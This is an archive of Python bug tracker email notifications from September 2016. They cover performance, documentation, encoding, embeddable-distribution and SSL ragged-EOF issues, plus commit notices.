Message-ID: <1474494159.66.0.255503410234.issue26351@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

The request is to check 'occasionally'.  To me this means perhaps once a second, which is to say, ^c should generally interrupt within a second, and on average with half a second.  The following takes just under a second: "sum(i for i in range(10000000))" whereas "for i in range(10000000): pass" takes a fourth of that.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26351>
_______________________________________

From report at bugs.python.org  Wed Sep 21 20:12:00 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Thu, 22 Sep 2016 00:12:00 +0000
Subject: [issue28240] Enhance the timeit module: display average +- std dev
 instead of minimum
In-Reply-To: <57E2D2EB.8080209@egenix.com>
Message-ID: <20160922001136.GW22471@ando.pearwood.info>


Steven D'Aprano added the comment:

> I'd suggest to display all values and base the findings on
> all available values, rather than just one:
> min, max, avg, median, stddev.

If we're going to go down that path, I suggest using something like:

https://en.wikipedia.org/wiki/Five-number_summary

But at this point, we're surely looking at 3.7?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28240>
_______________________________________

From report at bugs.python.org  Wed Sep 21 21:37:36 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 22 Sep 2016 01:37:36 +0000
Subject: [issue28234] In xml.etree.ElementTree docs there are many absent
 Element class links
In-Reply-To: <1474453668.8.0.0192177985612.issue28234@psf.upfronthosting.co.za>
Message-ID: <1474508256.19.0.234497096005.issue28234@psf.upfronthosting.co.za>


Martin Panter added the comment:

Mostly looks good to me. I left some comments on the code review.

----------
nosy: +martin.panter
versions: +Python 2.7, Python 3.5, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28234>
_______________________________________

From report at bugs.python.org  Wed Sep 21 22:26:18 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Thu, 22 Sep 2016 02:26:18 +0000
Subject: [issue28243] Performance regression in functools.partial()
In-Reply-To: <1474482461.16.0.647819968557.issue28243@psf.upfronthosting.co.za>
Message-ID: <1474511178.95.0.0665276335713.issue28243@psf.upfronthosting.co.za>


Changes by Emanuel Barry <barry at dadadata.net>:


----------
nosy: +ebarry

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28243>
_______________________________________

From report at bugs.python.org  Wed Sep 21 23:02:03 2016
From: report at bugs.python.org (Matthew Ekstrand-Abueg)
Date: Thu, 22 Sep 2016 03:02:03 +0000
Subject: [issue28244] Incorrect Example in itertools.product description
Message-ID: <1474513323.36.0.596780277043.issue28244@psf.upfronthosting.co.za>


New submission from Matthew Ekstrand-Abueg:

Documentation states:

    # product('ABCD', 'xy') --> Ax Ay Bx By Cx Cy Dx Dy
    # product(range(2), repeat=3) --> 000 001 010 011 100 101 110 

But:

>>> list(itertools.product('ABCD','xy'))
[('A', 'x'), ('A', 'y'), ('B', 'x'), ('B', 'y'), ('C', 'x'), ('C', 'y'), ('D', 'x'), ('D', 'y')]

https://docs.python.org/2/library/itertools.html#itertools.product

----------
assignee: docs at python
components: Documentation
messages: 277188
nosy: Matthew Ekstrand-Abueg, docs at python
priority: normal
severity: normal
status: open
title: Incorrect Example in itertools.product description
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28244>
_______________________________________

From report at bugs.python.org  Thu Sep 22 01:07:15 2016
From: report at bugs.python.org (Zachary Ware)
Date: Thu, 22 Sep 2016 05:07:15 +0000
Subject: [issue20173] Derby #4: Convert 53 sites to Argument Clinic across 5
 files
In-Reply-To: <1389138393.36.0.783793973134.issue20173@psf.upfronthosting.co.za>
Message-ID: <1474520835.1.0.565097075216.issue20173@psf.upfronthosting.co.za>


Zachary Ware added the comment:

This appears to be finished, please reopen if I'm mistaken.

----------
nosy: +zach.ware
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20173>
_______________________________________

From report at bugs.python.org  Thu Sep 22 01:14:46 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Thu, 22 Sep 2016 05:14:46 +0000
Subject: [issue26351] Occasionally check for Ctrl-C in long-running operations
 like sum
In-Reply-To: <1455299252.18.0.421982887455.issue26351@psf.upfronthosting.co.za>
Message-ID: <1474521286.94.0.165090532993.issue26351@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

George's initial patch that naively checks for signals on every iteration could be used to get an upper bound on the likely benchmark impact.

I do think this is a case where we'll want a dedicated microbenchmark to complement the macrobenchmark suite, though - Raymond's right that these functions are frequently used to optimise sections of code that have already been identified as performance bottlenecks in a particular application, so we need to be really careful with changes that might make them slower (even if the current macrobenchmarks say things are still broadly OK).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26351>
_______________________________________

From report at bugs.python.org  Thu Sep 22 01:52:39 2016
From: report at bugs.python.org (Bert JW Regeer)
Date: Thu, 22 Sep 2016 05:52:39 +0000
Subject: [issue21878] wsgi.simple_server's wsgi.input read/readline waits
 forever in certain circumstances
In-Reply-To: <1403937301.18.0.584032434522.issue21878@psf.upfronthosting.co.za>
Message-ID: <1474523559.38.0.482323293987.issue21878@psf.upfronthosting.co.za>


Bert JW Regeer added the comment:

This is still very much an issue, and makes it more difficult to write generic python request/response libraries because we can't assume that a read() will return, and relying on the Content-Length being set is not always possible unfortunately.

----------
nosy: +X-Istence
versions: +Python 2.7, Python 3.3, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21878>
_______________________________________

From report at bugs.python.org  Thu Sep 22 01:57:05 2016
From: report at bugs.python.org (Jarno Rajala)
Date: Thu, 22 Sep 2016 05:57:05 +0000
Subject: [issue28245] Embeddable Python does not use PYTHONPATH.
Message-ID: <1474523825.78.0.633283708939.issue28245@psf.upfronthosting.co.za>


New submission from Jarno Rajala:

The Windows 64-bit embeddable Python 3.5.2 (also 3.5.1), downloadable from
https://www.python.org/ftp/python/3.5.2/python-3.5.2-embed-amd64.zip, does not set sys.path according to PYTHONPATH.

To reproduce this bug, run these commands from the directory with the embeddable package:
set PYTHONPATH=dummy
python
import sys;sys.path

If this is deliberate behaviour, the help message (python --help) should say that PYTHONPATH doesn't apply, instead it has the usual message. Also, there should be an alternate way of setting additional sys.path directories, e.g. with an additional command-line option. Currently, there's no way to change sys.path, except from Python itself.

----------
components: Windows
messages: 277192
nosy: Jarno Rajala, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Embeddable Python does not use PYTHONPATH.
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28245>
_______________________________________

From report at bugs.python.org  Thu Sep 22 02:02:26 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 22 Sep 2016 06:02:26 +0000
Subject: [issue28244] Incorrect Example in itertools.product description
In-Reply-To: <1474513323.36.0.596780277043.issue28244@psf.upfronthosting.co.za>
Message-ID: <1474524146.35.0.761280703017.issue28244@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

The comments in the docs are necessarily terse and communicate the pattern of pairings.  It would not be an improvement to actually list out all the tuples.  

Sorry if this caused you any confusion, but I prefer to leave the comments as they are now.

----------
assignee: docs at python -> rhettinger
nosy: +rhettinger
resolution:  -> wont fix
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28244>
_______________________________________

From report at bugs.python.org  Thu Sep 22 02:11:29 2016
From: report at bugs.python.org (py.user)
Date: Thu, 22 Sep 2016 06:11:29 +0000
Subject: [issue28234] In xml.etree.ElementTree docs there are many absent
 Element class links
In-Reply-To: <1474453668.8.0.0192177985612.issue28234@psf.upfronthosting.co.za>
Message-ID: <1474524689.9.0.533015009316.issue28234@psf.upfronthosting.co.za>


py.user added the comment:

> I left some comments on the code review.
Left an answer on a comment. (ISTM, email notification doesn't work there, I didn't get email.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28234>
_______________________________________

From report at bugs.python.org  Thu Sep 22 02:23:35 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 22 Sep 2016 06:23:35 +0000
Subject: [issue28239] Implement functools.lru_cache() using ordered dict
In-Reply-To: <1474465931.98.0.374027560088.issue28239@psf.upfronthosting.co.za>
Message-ID: <1474525415.21.0.833324219916.issue28239@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

> I don't suggest to change lru_cach() implementation just now

For now, I would like to have this closed.  It doesn't make sense at the current juncture (with the compact being new, being in flux, and not having guaranteed ordering semantics).

Also, we should have a strong preference for loose coupling and high cohesion.  The lru cache code is principally about tracking recent and should maintain primary responsibility for the action, and the dictionary implementation should be primarily about a clean mapping implementation without having code baggage just for the lru).  

Besides that, there isn't much motivation for change.  The existing code is very good (clear, fast, decoupled, cohensive, and doesn't have compaction issues for cache hits).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28239>
_______________________________________

From report at bugs.python.org  Thu Sep 22 02:25:30 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 22 Sep 2016 06:25:30 +0000
Subject: [issue28205] Add optional suffix to str.join
In-Reply-To: <1474284097.7.0.704735249593.issue28205@psf.upfronthosting.co.za>
Message-ID: <1474525530.28.0.569274297016.issue28205@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Looking again at the comments for the other respondents, I think this should just be closed.  It doesn't make sense to disturb a long standing API or the break the join/split symmetry.

----------
resolution:  -> rejected
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28205>
_______________________________________

From report at bugs.python.org  Thu Sep 22 02:26:38 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 22 Sep 2016 06:26:38 +0000
Subject: [issue28234] In xml.etree.ElementTree docs there are many absent
 Element class links
In-Reply-To: <1474453668.8.0.0192177985612.issue28234@psf.upfronthosting.co.za>
Message-ID: <1474525598.11.0.320320939719.issue28234@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

In lxml Element is a factory function, not a class.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28234>
_______________________________________

From report at bugs.python.org  Thu Sep 22 02:34:35 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 22 Sep 2016 06:34:35 +0000
Subject: [issue28239] Implement functools.lru_cache() using ordered dict
In-Reply-To: <1474465931.98.0.374027560088.issue28239@psf.upfronthosting.co.za>
Message-ID: <1474526075.43.0.987938657306.issue28239@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> rejected
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28239>
_______________________________________

From report at bugs.python.org  Thu Sep 22 02:35:35 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 22 Sep 2016 06:35:35 +0000
Subject: [issue28205] Add optional suffix to str.join
In-Reply-To: <1474284097.7.0.704735249593.issue28205@psf.upfronthosting.co.za>
Message-ID: <1474526135.62.0.0621735508506.issue28205@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
stage:  -> resolved

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28205>
_______________________________________

From report at bugs.python.org  Thu Sep 22 02:38:48 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 22 Sep 2016 06:38:48 +0000
Subject: [issue28197] range.index mismatch with documentation
In-Reply-To: <1474231832.91.0.157673750963.issue28197@psf.upfronthosting.co.za>
Message-ID: <1474526328.6.0.569310164467.issue28197@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

> Why can't this go into 3.6?

Because it is a new feature and we're already past beta 1; because nothing is actually broken; and because it is a very minor issue (x isn't 100% consistent with y); because this would depend on new code and tests that we haven't written yet; and because the use case for the optional arguments is to do repeated searches and that doesn't make much sense in the context of a range object.  That said, I think it is harmless to add this to 3.7 even though it isn't very useful.

----------
assignee:  -> rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28197>
_______________________________________

From report at bugs.python.org  Thu Sep 22 02:43:32 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 22 Sep 2016 06:43:32 +0000
Subject: [issue24567] random.choice IndexError due to double-rounding
In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za>
Message-ID: <1474526612.34.0.471640755258.issue24567@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Ping.

----------
versions: +Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24567>
_______________________________________

From report at bugs.python.org  Thu Sep 22 02:48:31 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 22 Sep 2016 06:48:31 +0000
Subject: [issue24567] random.choice IndexError due to double-rounding
In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za>
Message-ID: <1474526911.07.0.671814427422.issue24567@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

> I'll write that as "'i == n and n > 0" which reads better and runs faster in the common case (look at the disassembly of each).

issue27236

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24567>
_______________________________________

From report at bugs.python.org  Thu Sep 22 02:51:32 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 22 Sep 2016 06:51:32 +0000
Subject: [issue27619] getopt should strip whitespace from long arguments
In-Reply-To: <1469494217.58.0.75154224673.issue27619@psf.upfronthosting.co.za>
Message-ID: <1474527092.85.0.247578231057.issue27619@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

I think this should just be closed.

----------
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27619>
_______________________________________

From report at bugs.python.org  Thu Sep 22 03:05:13 2016
From: report at bugs.python.org (Paul Moore)
Date: Thu, 22 Sep 2016 07:05:13 +0000
Subject: [issue28245] Embeddable Python does not use PYTHONPATH.
In-Reply-To: <1474523825.78.0.633283708939.issue28245@psf.upfronthosting.co.za>
Message-ID: <1474527913.73.0.862489622434.issue28245@psf.upfronthosting.co.za>


Paul Moore added the comment:

See https://docs.python.org/3/using/windows.html#embedded-distribution - "When extracted, the embedded distribution is (almost) fully isolated from the user?s system, including environment variables, system registry settings, and installed packages."

This is deliberate behaviour. The embedded distribution is intended for, as it says, embedded applications, and your C code that embeds the Python interpreter can set sys.path based on application-specific environment variables if needed. But it should not be affected by any "normal" Python configuration.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28245>
_______________________________________

From report at bugs.python.org  Thu Sep 22 03:18:07 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 22 Sep 2016 07:18:07 +0000
Subject: [issue28243] Performance regression in functools.partial()
In-Reply-To: <1474482461.16.0.647819968557.issue28243@psf.upfronthosting.co.za>
Message-ID: <1474528687.1.0.580133387791.issue28243@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

If revert the issue27809 changes, the performance is returned to the level of 3.5.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28243>
_______________________________________

From report at bugs.python.org  Thu Sep 22 03:21:45 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 22 Sep 2016 07:21:45 +0000
Subject: [issue28243] Performance regression in functools.partial()
In-Reply-To: <1474482461.16.0.647819968557.issue28243@psf.upfronthosting.co.za>
Message-ID: <1474528905.88.0.745230636864.issue28243@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

I meant just c1a698edfa1b.

Median +- std dev: 441 ns +- 26 ns

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28243>
_______________________________________

From report at bugs.python.org  Thu Sep 22 04:09:55 2016
From: report at bugs.python.org (INADA Naoki)
Date: Thu, 22 Sep 2016 08:09:55 +0000
Subject: [issue28239] Implement functools.lru_cache() using ordered dict
In-Reply-To: <1474465931.98.0.374027560088.issue28239@psf.upfronthosting.co.za>
Message-ID: <1474531795.47.0.651108847759.issue28239@psf.upfronthosting.co.za>


INADA Naoki added the comment:

FYI: Here is interesting article. doubly-linked list is more inefficient than most people think.
http://alex.dzyoba.com/programming/dynamic-arrays.html

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28239>
_______________________________________

From report at bugs.python.org  Thu Sep 22 04:15:11 2016
From: report at bugs.python.org (AndreyTomsk)
Date: Thu, 22 Sep 2016 08:15:11 +0000
Subject: [issue28246] Unable to read simple text file
Message-ID: <1474532111.27.0.448863550012.issue28246@psf.upfronthosting.co.za>


New submission from AndreyTomsk:

File read operation fails when gets specific cyrillic symbol. Tested with script:

testFile = open('ResourceStrings.rc', 'r')
for line in testFile:
    print(line)


Exception message:
Traceback (most recent call last):
  File "min_test.py", line 6, in <module>
    for line in testFile:
  File "C:\Users\afi\AppData\Local\Programs\Python\Python36\lib\encodings\cp1251.py", line 23, in decode
    return codecs.charmap_decode(input,self.errors,decoding_table)[0]
UnicodeDecodeError: 'charmap' codec can't decode byte 0x98 in position 24: character maps to <undefined>

----------
components: IO, Unicode, Windows
files: ResourceStrings.rc
messages: 277206
nosy: AndreyTomsk, ezio.melotti, haypo, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Unable to read simple text file
type: behavior
versions: Python 3.5, Python 3.6
Added file: http://bugs.python.org/file44783/ResourceStrings.rc

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28246>
_______________________________________

From report at bugs.python.org  Thu Sep 22 04:29:10 2016
From: report at bugs.python.org (Eryk Sun)
Date: Thu, 22 Sep 2016 08:29:10 +0000
Subject: [issue28246] Unable to read simple text file
In-Reply-To: <1474532111.27.0.448863550012.issue28246@psf.upfronthosting.co.za>
Message-ID: <1474532950.35.0.255188406961.issue28246@psf.upfronthosting.co.za>


Eryk Sun added the comment:

The default encoding on your system is Windows codepage 1251. However, your file is encoded using UTF-8:

    >>> lines = open('ResourceStrings.rc', 'rb').read().splitlines()
    >>> print(*lines, sep='\n')
    b'\xef\xbb\xbf\xd0\x90 (cyrillic A)'
    b'\xd0\x98 (cyrillic I) <<< line read fails'
    b'\xd0\x91 (cyrillic B)'

It even has a UTF-8 BOM (i.e. b'\xef\xbb\xbf'). You need to pass the encoding to built-in open():

    >>> print(open('ResourceStrings.rc', encoding='utf-8').read())
    ? (cyrillic A)
    ? (cyrillic I) <<< line read fails
    ? (cyrillic B)

----------
nosy: +eryksun
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28246>
_______________________________________

From report at bugs.python.org  Thu Sep 22 04:38:26 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 22 Sep 2016 08:38:26 +0000
Subject: [issue28235] In xml.etree.ElementTree docs there is no parser
 argument in fromstring()
In-Reply-To: <1474457056.95.0.329737294315.issue28235@psf.upfronthosting.co.za>
Message-ID: <1474533506.9.0.57710742422.issue28235@psf.upfronthosting.co.za>


Martin Panter added the comment:

Added review comment

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28235>
_______________________________________

From report at bugs.python.org  Thu Sep 22 04:39:48 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 22 Sep 2016 08:39:48 +0000
Subject: [issue28234] In xml.etree.ElementTree docs there are many absent
 Element class links
In-Reply-To: <1474453668.8.0.0192177985612.issue28234@psf.upfronthosting.co.za>
Message-ID: <1474533588.09.0.599873836457.issue28234@psf.upfronthosting.co.za>


Martin Panter added the comment:

Serhiy, what?s the relevance? In the built-in Element Tree package, it is a class: <https://docs.python.org/3.5/library/xml.etree.elementtree.html#element-objects>.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28234>
_______________________________________

From report at bugs.python.org  Thu Sep 22 04:50:38 2016
From: report at bugs.python.org (SilentGhost)
Date: Thu, 22 Sep 2016 08:50:38 +0000
Subject: [issue28246] Unable to read simple text file
In-Reply-To: <1474532111.27.0.448863550012.issue28246@psf.upfronthosting.co.za>
Message-ID: <1474534238.04.0.0410044586872.issue28246@psf.upfronthosting.co.za>


SilentGhost added the comment:

It would be good to add a FAQ / HowTo entry for this question.

----------
nosy: +SilentGhost

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28246>
_______________________________________

From report at bugs.python.org  Thu Sep 22 04:59:20 2016
From: report at bugs.python.org (Jack Liu)
Date: Thu, 22 Sep 2016 08:59:20 +0000
Subject: [issue28202] Python 3.5.1 C API,
 the global variable is not destroyed when delete the module
In-Reply-To: <1474261347.8.0.510026601712.issue28202@psf.upfronthosting.co.za>
Message-ID: <1474534760.79.0.668575741266.issue28202@psf.upfronthosting.co.za>


Changes by Jack Liu <liujack201608 at gmail.com>:


----------
nosy: +pitrou

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28202>
_______________________________________

From report at bugs.python.org  Thu Sep 22 05:02:11 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 22 Sep 2016 09:02:11 +0000
Subject: [issue28234] In xml.etree.ElementTree docs there are many absent
 Element class links
In-Reply-To: <1474453668.8.0.0192177985612.issue28234@psf.upfronthosting.co.za>
Message-ID: <1474534931.26.0.293990489057.issue28234@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

The built-in ElementTree package is derived from lxml.etree. I suppose that the documentation is inherited from lxml.etree.

The built-in ElementTree package supports duck typing. The element object is not always an instance of the Element class. iselement() is not equal to isinstance(e, Element), it just tests the existence of the tag attribute. Many ElementTree functions have fast path for Element, but work with duck typed classes too. I believe that in particular you can mix Python and C implementations of Element and lxml.etree elements in one tree.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28234>
_______________________________________

From report at bugs.python.org  Thu Sep 22 05:24:50 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 22 Sep 2016 09:24:50 +0000
Subject: [issue27815] Make SSL suppress_ragged_eofs default more secure
In-Reply-To: <1471699151.03.0.676654185488.issue27815@psf.upfronthosting.co.za>
Message-ID: <1474536290.71.0.506277276066.issue27815@psf.upfronthosting.co.za>


Martin Panter added the comment:

I have been experimenting with a patch that changes the default to suppress_ragged_eofs=False.

One disadvantage of this change is it could make servers less robust. E.g. in the tests, I explicitly enabled suppress_ragged_eofs=True in a server, because otherwise I would have to add extra cleanup if an exception is raised on the server side. In another test server, based on socketserver, I added special code to silence logging an SSLEOFError exception (a side effect of a particular test case).

But ideally, real-world servers should already handle other exceptions that are triggered outside the server?s control like, ECONNRESET and TLSV1_ALERT_UNKNOWN_CA. Socketserver already logs all these kinds of errors. Plus I think SSLEOFError has always been possible in the handshake phase.

With HTTP I didn?t have to go further than Google to find a server that terminates the response with a non-SSL shutdown (although because truncated JSON is invalid, it is not a big deal). For the record, here is a stripped-down demo. The same problem also happens for a more complete request with valid parameters.

>>> import socket, ssl
>>> s = socket.create_connection(("accounts.google.com", 443))
>>> ss = ssl.wrap_socket(s, suppress_ragged_eofs=False)
>>> ss.sendall(b"POST /o/oauth2/token HTTP/1.1\r\n"
...     b"Host: accounts.google.com\r\n"
...     b"Content-Length: 0\r\n"
...     b"Connection: close\r\n"
...     b"\r\n")
>>> print("\n".join(map(repr, ss.recv(3000).splitlines(keepends=True))))
b'HTTP/1.1 400 Bad Request\r\n'
b'Content-Type: application/json; charset=utf-8\r\n'
b'Cache-Control: no-cache, no-store, max-age=0, must-revalidate\r\n'
b'Pragma: no-cache\r\n'
b'Expires: Mon, 01 Jan 1990 00:00:00 GMT\r\n'
b'Date: Thu, 22 Sep 2016 03:10:20 GMT\r\n'
b'X-Content-Type-Options: nosniff\r\n'
b'X-Frame-Options: SAMEORIGIN\r\n'
b'X-XSS-Protection: 1; mode=block\r\n'
b'Server: GSE\r\n'
b'Alt-Svc: quic=":443"; ma=2592000; v="36,35,34,33,32"\r\n'
b'Accept-Ranges: none\r\n'
b'Vary: Accept-Encoding\r\n'
b'Connection: close\r\n'
b'\r\n'
b'{\n'
b'  "error" : "invalid_request",\n'
b'  "error_description" : "Required parameter is missing: grant_type"\n'
b'}'
>>> ss.recv(3000)  # HTTP-level client does not know that this is the EOF yet
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/proj/python/cpython/Lib/ssl.py", line 987, in recv
    return self.read(buflen)
  File "/home/proj/python/cpython/Lib/ssl.py", line 865, in read
    return self._sslobj.read(len, buffer)
  File "/home/proj/python/cpython/Lib/ssl.py", line 627, in read
    v = self._sslobj.read(len)
ssl.SSLEOFError: EOF occurred in violation of protocol (_ssl.c:2176)

In this case, if the client does not send ?Connection: close?, the server uses chunked encoding and there is no problem. So this is another instance of Issue 12849 (Python?s unusual request triggering a server bug).

I wonder if a solution would be to use suppress_ragged_eofs=False by default, but add a way to let the user of the http.client module explicitly allow SSLEOFError to signal a proper EOF.

----------
keywords: +patch
versions: +Python 3.7 -Python 3.6
Added file: http://bugs.python.org/file44784/ragged-eofs.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27815>
_______________________________________

From report at bugs.python.org  Thu Sep 22 05:52:18 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 22 Sep 2016 09:52:18 +0000
Subject: [issue28086] test.test_getargs2.TupleSubclass test failure
In-Reply-To: <1473633837.1.0.634614870367.issue28086@psf.upfronthosting.co.za>
Message-ID: <1474537938.15.0.647964209576.issue28086@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

The simplest way is just change PyTuple_Check to PyTuple_CheckExact in ceval.c. Maybe this is suboptimal for tuple subclasses (namedtuple?), but I think this is very rare case.

----------
keywords: +patch
stage: needs patch -> patch review
versions: +Python 3.7
Added file: http://bugs.python.org/file44785/issue28086.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28086>
_______________________________________

From report at bugs.python.org  Thu Sep 22 06:18:17 2016
From: report at bugs.python.org (AndreyTomsk)
Date: Thu, 22 Sep 2016 10:18:17 +0000
Subject: [issue28246] Unable to read simple text file
In-Reply-To: <1474532111.27.0.448863550012.issue28246@psf.upfronthosting.co.za>
Message-ID: <1474539497.56.0.135779050035.issue28246@psf.upfronthosting.co.za>


AndreyTomsk added the comment:

Thanks for quick reply. I'm new to python, just used tutorial docs and didn't read carefully enough to notice encoding info.

Still, IMHO behaviour not consistent. In three sequential symbols in russian alphabet - ?, ?, ?, it crashes on ?, and displays other in two-byte form.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28246>
_______________________________________

From report at bugs.python.org  Thu Sep 22 06:26:03 2016
From: report at bugs.python.org (Robert Collins)
Date: Thu, 22 Sep 2016 10:26:03 +0000
Subject: [issue17188] Document 'from None' in raise statement doc.
In-Reply-To: <1360631999.8.0.76627095073.issue17188@psf.upfronthosting.co.za>
Message-ID: <1474539963.0.0.473440703919.issue17188@psf.upfronthosting.co.za>


Changes by Robert Collins <robertc at robertcollins.net>:


----------
nosy: +rbcollins

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17188>
_______________________________________

From report at bugs.python.org  Thu Sep 22 06:33:53 2016
From: report at bugs.python.org (Eryk Sun)
Date: Thu, 22 Sep 2016 10:33:53 +0000
Subject: [issue28246] Unable to read simple text file
In-Reply-To: <1474532111.27.0.448863550012.issue28246@psf.upfronthosting.co.za>
Message-ID: <1474540433.22.0.62437837776.issue28246@psf.upfronthosting.co.za>


Eryk Sun added the comment:

Codepage 1251 is a single-byte encoding and a superset of ASCII (i.e. ordinals 0-127). UTF-8 is also a superset of ASCII, so there's no problem as long as the encoded text is strictly ASCII. But decoding non-ASCII UTF-8 as codepage 1251 produces nonsense, otherwise known as mojibake. It happens that codepage 1251 maps every one of the 256 possible byte values, except for 0x98 (152). The exception can't be made any clearer.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28246>
_______________________________________

From report at bugs.python.org  Thu Sep 22 06:56:39 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 22 Sep 2016 10:56:39 +0000
Subject: [issue27348] traceback (and threading) drops exception message
In-Reply-To: <1466261856.58.0.470780414166.issue27348@psf.upfronthosting.co.za>
Message-ID: <20160922105636.19786.45344.5E70A943@psf.io>


Roundup Robot added the comment:

New changeset 5859a9e8b214 by Martin Panter in branch '3.5':
Issue #27348: Restore ?Exception: None? formatting in traceback module
https://hg.python.org/cpython/rev/5859a9e8b214

New changeset d1455d14accd by Martin Panter in branch '3.6':
Issue #27348: Merge exception formatting fix from 3.5 into 3.6
https://hg.python.org/cpython/rev/d1455d14accd

New changeset 4261ae29d3e2 by Martin Panter in branch 'default':
Issue #27348: Merge exception formatting fix from 3.6
https://hg.python.org/cpython/rev/4261ae29d3e2

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27348>
_______________________________________

From report at bugs.python.org  Thu Sep 22 06:56:39 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 22 Sep 2016 10:56:39 +0000
Subject: [issue27950] Superfluous messages when running make
In-Reply-To: <1472923093.9.0.208498000051.issue27950@psf.upfronthosting.co.za>
Message-ID: <20160922105636.19786.1024.080B902E@psf.io>


Roundup Robot added the comment:

New changeset 6911917f1f02 by Martin Panter in branch 'default':
Issue #27950: Silence long makefile commands and comments
https://hg.python.org/cpython/rev/6911917f1f02

----------
nosy: +python-dev

_______________________________________
